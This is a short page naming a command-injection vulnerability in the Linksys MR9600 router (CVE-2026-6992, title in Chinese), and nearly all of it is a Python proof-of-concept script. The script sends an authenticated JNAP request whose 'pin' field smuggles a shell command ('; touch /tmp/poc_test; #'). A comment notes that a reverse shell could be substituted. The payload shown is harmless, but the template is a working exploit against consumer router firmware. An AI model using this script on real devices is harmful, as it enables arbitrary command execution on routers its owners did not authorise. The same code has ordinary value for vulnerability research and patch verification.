CVE-2026-6992 Linksys MR9600操作系统命令注入漏洞

import requests import json # Target URL (Example) target_url = "http://192.168.1.1/JNAP/" # Malicious payload to inject commands (e.g., creating a file or reversing shell) # Note: Requires authentication (High Privilege) payload = { "action": "http://linksys.com/jnap/run_central2/BTRequestGetSmartConnectStatus", "pin": "12345; touch /tmp/poc_test; #" } headers = { "Content-Type": "application/json", "X-JNAP-Authorization": "<BASE64_ENCODED_CREDENTIALS>" } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")